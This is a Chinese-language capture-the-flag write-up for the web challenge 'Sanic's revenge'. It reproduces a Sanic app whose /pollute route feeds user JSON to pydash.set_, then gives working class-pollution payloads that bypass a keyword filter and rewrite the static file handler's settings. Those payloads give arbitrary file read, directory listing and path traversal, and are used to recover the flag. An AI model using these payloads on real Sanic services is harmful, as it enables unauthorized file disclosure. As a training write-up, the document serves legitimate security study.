web
Sanic’s revenge | SOLVED| working: symv1a 题目描述: Sanic???Sanic’s revenge!!!
题目附件: app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from sanic import Sanicimport osfrom sanic.response import text, htmlimport sysimport randomimport pydashclass Pollute : def __init__ (self ): pass app = Sanic(__name__) app.static("/static/" , "./static/" ) @app.route("/*****secret********" ) async def secret (request ): secret='**************************' return text("can you find my route name ???" +secret) @app.route('/' , methods=['GET' , 'POST' ] ) async def index (request ): return html(open ('static/index.html' ).read()) @app.route("/pollute" , methods=['GET' , 'POST' ] ) async def POLLUTE (request ): key = request.json['key' ] value = request.json['value' ] if key and value and type (key) is str and 'parts' not in key and 'proc' not in str (value) and type (value) is not list : pollute = Pollute() pydash.set_(pollute, key, value) return text("success" ) else : log_dir = create_log_dir(6 ) log_dir_bak = log_dir + ".." log_file = "/tmp/" + log_dir + "/access.log" log_file_bak = "/tmp/" + log_dir_bak + "/access.log.bak" log = 'key: ' + str (key) + '|' + 'value: ' + str (value); os.system("mkdir /tmp/" + log_dir) with open (log_file, 'w' ) as f: f.write(log) os.system("mkdir /tmp/" + log_dir_bak) with open (log_file_bak, 'w' ) as f: f.write(log) return text("!!!此地禁止胡来,你的非法操作已经被记录!!!" ) if __name__ == '__main__' : app.run(host='0.0.0.0' )
做题流程: 分析一下源代码
1 RE_PATH_KEY_DELIM = re.compile(r"(?<!\)(?:\\)*.|([\d+])")
发现 \.
会当作 .
进行处理,可以绕过题目的过滤,而 .
会作为.
的转义不进行分割
1 __init__\\\\.__globals__
存在四个路由
/static/
/*****secret********
/
/pollute
提供了一个污染点pydash.set_,通过传参key和value可以实现原型链污染
waf
`if key and value and type(key) is str and ‘parts’ not in key and ‘proc’ not in str(value) and type(value) is not list:
入口点就是原型链污染,我们污染file_or_directory到根目录下,就可以实现任意文件读取。
1 {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}
根据app.py的内容,猜测需要获取源代码。 我们接着想办法获取源代码的文件名,尝试读取proc/1/cmdline
文件 然后读取start.sh
文件
得到源代码文件名为2Q17A58T9F65y5i8.py
,读取源代码,app/2Q17A58T9F65y5i8.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from sanic import Sanicimport osfrom sanic.response import text, htmlimport sysimport randomimport pydashclass Pollute : def __init__ (self ): pass def create_log_dir (n ): ret = "" for i in range (n): num = random.randint(0 , 9 ) letter = chr (random.randint(97 , 122 )) Letter = chr (random.randint(65 , 90 )) s = str (random.choice([num, letter, Letter])) ret += s return ret app = Sanic(__name__) app.static("/static/" , "./static/" ) @app.route("/Wa58a1qEQ59857qQRPPQ" ) async def secret (request ): with open ("/h111int" ,'r' ) as f: hint=f.read() return text(hint) @app.route('/' , methods=['GET' , 'POST' ] ) async def index (request ): return html(open ('static/index.html' ).read()) @app.route("/adminLook" , methods=['GET' ] ) async def AdminLook (request ): log_dir=os.popen('ls /tmp -al' ).read(); return text(log_dir) @app.route("/pollute" , methods=['GET' , 'POST' ] ) async def POLLUTE (request ): key = request.json['key' ] value = request.json['value' ] if key and value and type (key) is str and 'parts' not in key and 'proc' not in str (value) and type (value) is not list : pollute = Pollute() pydash.set_(pollute, key, value) return text("success" ) else : log_dir=create_log_dir(6 ) log_dir_bak=log_dir+".." log_file="/tmp/" +log_dir+"/access.log" log_file_bak="/tmp/" +log_dir_bak+"/access.log.bak" log='key: ' +str (key)+'|' +'value: ' +str (value); os.system("mkdir /tmp/" +log_dir) with open (log_file, 'w' ) as f: f.write(log) os.system("mkdir /tmp/" +log_dir_bak) with open (log_file_bak, 'w' ) as f: f.write(log) return text("!!!此地禁止胡来,你的非法操作已经被记录!!!" ) if __name__ == '__main__' : app.run(host='0.0.0.0' )
访问路由/Wa58a1qEQ59857qQRPPQ
这里提示我们flag文件在app目录下,那么只需要列出app下的文件,得到flag文件名称,读取flag即可
在源码文件中还多了一个adminLook
路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def create_log_dir (n ): ret = "" for i in range (n): num = random.randint(0 , 9 ) letter = chr (random.randint(97 , 122 )) Letter = chr (random.randint(65 , 90 )) s = str (random.choice([num, letter, Letter])) ret += s return ret @app.route("/adminLook" , methods=['GET' ] ) async def AdminLook (request ): log_dir=os.popen('ls /tmp -al' ).read(); return text(log_dir)
该路由的功能为列出/tmp
目录下的文件 那么我们可以尝试触发非法记录,waf中提到value不能为list,那么就让value为list即可触发
1 {"key" :"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts" ,"value" : ["/" ]}
再查看adminLook
路由
发现多了两个目录,其中一个备份目录名称为F066FP..
,尝试打一个目录穿越
1 2 3 4 5 6 7 8 # file_or_directory 切换到/tmp目录下 {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/tmp"} # 污染directory_handler.base的值 {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/F066FP"} # 开启列目录的功能 {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": "True"}
得到flag名称,然后再将file_or_directory 切换到根目录下 访问app/45W698WqtsgQT1_flag
得flag DASCTF{8543c470-d4aa-4668-b051-43ed5c9517b1}